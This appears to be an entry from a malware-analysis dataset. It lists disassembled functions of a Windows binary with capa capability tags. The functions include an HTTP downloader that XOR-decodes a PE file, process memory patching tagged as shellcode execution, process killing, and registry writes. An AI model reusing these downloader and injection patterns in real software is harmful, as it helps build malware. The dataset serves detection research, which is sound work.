joyce8/EMBER2024-capa huggingface dataset:
Function at 0x71a07624
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
xor ebx, ebx
cmp dword [0x71a16978], ebx
jne 0x71a07693
mov dword [0x71a15c14], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x20
push ebx
push 0x71a16784
mov dword [0x71a16978], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x71a1697c], ebx
mov byte [0x71a165c4], bl
jne 0x71a07693
lea eax, [esp + 4]
push eax
push ebx
push ebx
push 0x71a0704e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 2
push eax
mov dword [0x71a1697c], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push dword [0x71a1697c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x71a16974], ebx
push 1
pop eax
pop ebx
pop ecx
ret

Function at 0x71a07699
Capabilities:
Create thread

Disassembly:
push ecx
push esi
xor esi, esi
cmp dword [0x71a16978], esi
jne 0x71a076d8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp dword [0x71a16984], esi
mov dword [0x71a16978], eax
jne 0x71a076d8
lea eax, [esp + 4]
push eax
push esi
push esi
push 0x71a0708e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x71a16984], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop ecx
ret

Function at 0x71a081e1
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push 0x71a01bc4
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x71a07d76
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret

Function at 0x71a08213
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.71a104e0
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x2003]
mov byte [ebp - 0x2004], bl
rep stosd dword es:[edi], eax
push ebx
push 0x80
push 3
push ebx
stosw word es:[edi], ax
push 1
push SysReAllocStringLen
push 0x71a162b8
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x71a082f5
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x2004]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x2004]
push 0x71a01bfc
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x71a082f5
mov esi, 0x71a01bdc
lea eax, [ebp - 0x2004]
push esi
push eax
call edi
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x71a082f5
push 0xd
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x71a082f5
push esi
mov byte [eax], bl
call fcn.71a0c571
add eax, edi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x71a082f5
cmp eax, 0x11
jg 0x71a082f5
push dword [eax*4 + 0x71a01720]
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
jmp 0x71a082f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a083e4
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x71a01ce0
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a0840b
xor eax, eax
leave
ret
push esi
push 0x71a01cd8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
leave
ret

Function at 0x71a0846d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 4]
push ebx
push eax
xor ebx, ebx
push 0x20019
push ebx
push 0x71a01ce0
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a0849b
xor eax, eax
jmp 0x71a08503
mov eax, 0x104
mov dword [ebp - 0xc], 2
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.71a0c6b5
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x71a01cd8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x71a084f3
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop ebx
jmp 0x71a084f8
mov eax, dword [ebp + 8]
mov byte [eax], bl
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop ebx
leave
ret

Function at 0x71a08a63
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x71a173b0]
mov ecx, 0x71a08a43
push 5
push 0x71a173f8
sub ecx, eax
push eax
push dword [0x71a17388]
sub ecx, 5
mov dword [0x71a01c8d], ecx
call fcn.71a0c8e1
push 5
push 0x71a01c8c
push dword [0x71a173b0]
push dword [0x71a17388]
call fcn.71a0c9f5
add esp, 0x20
xor eax, eax
push eax
push eax
push eax
push 0x71a08506
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
pop eax
ret

Function at 0x71a08b21
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push 0x5c
push eax
call fcn.71a0c62d
inc eax
push 0x71a01d3c
push eax
call fcn.71a0c583
add esp, 0x10
test eax, eax
je 0x71a08b8a
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x71a01d2c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, esi
mov dword [0x71a1735c], eax
call fcn.71a08abc
jmp 0x71a08b8c
xor eax, eax
pop esi
leave
ret
Function at 0x71a09466
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [ebp - 4]
push ebx
push eax
xor ebx, ebx
push 0xf003f
push ebx
push 0x71a01de8
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a09494
xor eax, eax
jmp 0x71a094f6
mov eax, 0x104
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x110]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x71a01ddc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x71a094d7
cmp byte [ebp - 0x110], bl
je 0x71a094eb
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop ebx
leave
ret

Function at 0x71a0986c
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x71a09759
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x71a0b09d
Capabilities:
Create thread

Disassembly:
push esi
xor esi, esi
push 0x20
push esi
push 0x71a197e0
call sub.MSVCRT.dll_memset
push 0x20
push esi
push 0x71a19860
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
push esi
push esi
push 0x71a0b084
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x71a1ce74], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x71a1ce74], esi
xor eax, eax
pop esi
ret
Function at 0x71a0b1a3
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.71a104e0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x71a04180
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x71a0b322
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x71a0b314
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x71a0b2ff
cmp dword [ebp - 0x10], 0xc8
jne 0x71a0b2ff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x71a0b2fa
cmp dword [ebp - 0xc], 0
jne 0x71a0b2be
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.71a0d64a
test eax, eax
pop ecx
je 0x71a0b2b1
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0c583
pop ecx
test eax, eax
pop ecx
jne 0x71a0b2fa
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0d5e7
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x71a0b2fa
cmp dword [ebp - 8], 0
je 0x71a0b311
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x71a0b270
push dword [ebp + 0xc]
jmp 0x71a0b300
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x71a0b358
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x71a0b332
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0b35d
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.71a104e0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x71a04180
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x71a0b4dc
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x71a0b4ce
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x71a0b4b9
cmp dword [ebp - 0x10], 0xc8
jne 0x71a0b4b9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x71a0b4b4
cmp dword [ebp - 0xc], 0
jne 0x71a0b478
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.71a0d70d
test eax, eax
pop ecx
je 0x71a0b46b
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0c583
pop ecx
test eax, eax
pop ecx
jne 0x71a0b4b4
lea eax, [ebp - 0x10e8]
push eax
call fcn.71a0d6aa
pop ecx
cmp ebx, dword [ebp + 0x10]
ja 0x71a0b4b4
cmp dword [ebp - 8], 0
je 0x71a0b4cb
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x71a0b42a
push dword [ebp + 0xc]
jmp 0x71a0b4ba
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x71a0b512
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x71a0b4ec
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0b550
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x71a0b614
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x71a0b614
call fcn.71a0b517
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.71a0b517
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x71a0417c]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x71a0417c], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret

Function at 0x71a0b79f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.71a0da1d
lea eax, [ebp - 0x208]
mov dword [0x71a1d2e0], 0x124f80
push eax
push 0x71a1d2e4
call fcn.71a0c68f
add esp, 0x10
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x71a1d2e0
push 0x71a0b617
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x71a0b9a7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.71a0da1d
lea eax, [ebp - 0x208]
mov dword [0x71a1d3e8], 0xdbba0
push eax
push 0x71a1d3ec
call fcn.71a0c68f
add esp, 0x10
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x71a1d3e8
push 0x71a0b805
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8
Function at 0x71a0be51
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.71a0d4ea
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov ebx, 0x1f0003
push 0x71a01ac0
push esi
push ebx
call edi
cmp eax, esi
jne 0x71a0be97
push 0x71a01d54
push esi
push ebx
call edi
cmp eax, esi
jne 0x71a0be97
push 0x71a01e3c
push esi
push ebx
call edi
cmp eax, esi
je 0x71a0beae
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.71a0bd14
push 0x71a0539c
call fcn.71a0c978
cmp eax, esi
pop ecx
je 0x71a0becf
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x71a0becf
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x71a05390
call fcn.71a0c978
test eax, eax
pop ecx
je 0x71a0bf07
push esi
push 0x71a0bd5c
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x71a05384
call fcn.71a0c978
pop ecx
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x71a0bf07
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x71a0be70

Function at 0x71a0c54b
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret

Function at 0x71a0c830
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.71a104e0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, 0x1000
push 0
lea eax, [ebp - 0x1000]
push esi
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push eax
push 0x40
push esi
push ebx
push dword [ebp + 8]
call edi
test eax, eax
je 0x71a0c893
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push esi
push ebx
push dword [ebp + 8]
call edi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0c978
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push esi
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.71a0c583
pop ecx
test eax, eax
pop ecx
jne 0x71a0c9e2
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x71a0c9e8
jmp 0x71a0c9ba
mov edi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x71a0cf8f
Capabilities:
Delete file
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
and byte [ebp - 0x80], 0
push esi
push edi
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
mov esi, 0x80
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
push dword [ebp + 0xc]
stosb byte es:[edi], al
lea eax, [ebp - 0x80]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
xor byte [ebp + eax - 0x80], 0xea
inc eax
cmp eax, esi
jb 0x71a0cfc2
lea eax, [ebp - 0x288]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp + 8]
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x184]
push 0x71a0537c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push esi
push 2
push 0
push 3
lea eax, [ebp - 0x184]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x71a0d045
lea eax, [ebp + 0xc]
push 0
push eax
lea eax, [ebp - 0x80]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret 8

Function at 0x71a0d04b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push edi
mov ebx, 0x2001f
push eax
push ebx
mov edi, 0x71a054fc
push 0
mov esi, SysReAllocStringLen
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a0d090
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push ebx
push eax
push eax
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x71a0d0e0
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
push 1
push 0
push 0x71a054f4
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push 0x71a054ec
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x71a0d0e5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x2001f
push 0
push 0x71a054fc
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a0d10e
xor eax, eax
leave
ret
push esi
push edi
push 1
lea eax, [ebp - 4]
pop edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 8]
push dword [ebp + 8]
mov dword [ebp - 4], 0x104
mov dword [ebp - 8], edi
push eax
push 0
push 0x71a054f4
push dword [ebp - 0xc]
call esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
lea eax, [ebp - 8]
push dword [ebp + 0xc]
mov dword [ebp - 8], edi
push eax
push 0
push 0x71a054ec
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x71a0d16a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
xor edi, edi
push 0x2001f
mov ebx, 0x71a05548
push edi
mov esi, SysReAllocStringLen
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x71a0d1b5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push 0x2001f
push edi
push edi
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x71a0d252
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
push 1
pop ebx
push ebx
push edi
push 0x71a0553c
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0xc]
push ebx
push edi
push 0x71a05530
push dword [ebp - 4]
call esi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x10]
push ebx
push edi
push 0x71a05524
push dword [ebp - 4]
call esi
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x14]
push ebx
push edi
push 0x71a05518
push dword [ebp - 4]
call esi
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push ebx
push edi
push 0x71a0550c
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret